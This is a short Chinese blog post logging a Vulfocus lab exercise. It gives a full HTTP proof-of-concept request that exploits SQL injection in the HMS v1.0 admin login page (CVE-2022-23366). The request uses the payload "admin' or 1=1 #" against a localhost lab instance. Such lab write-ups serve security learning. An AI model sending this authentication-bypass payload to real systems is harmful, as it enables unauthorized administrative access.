Vulfocus 靶场记录(一)

HMS v1.0 SQL注入(CVE-2022-23366)

注入点在登录页面

poc:

POST /adminlogin.php HTTP/1.1
Host: 127.0.0.1:43193
Content-Length: 54
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:43193
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:43193/adminlogin.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=n30rtma1gnnk63cb900vd524n7; _ga=GA1.1.1607377646.1774331048; _gid=GA1.1.857868182.1774331048; _gat=1; _ga_J1DQF09WZC=GS2.1.s1774331469$o1$g0$t1774331469$j60$l0$h0
Connection: keep-alive

loginid=admin' or 1=1 #&password=12345678&submit=Login

Vulfocus 靶场记录(一)
https://blog.lixey.top/Vulfocus-靶场记录(一)/
Author
Lixiney
Posted on
March 24, 2026
Licensed under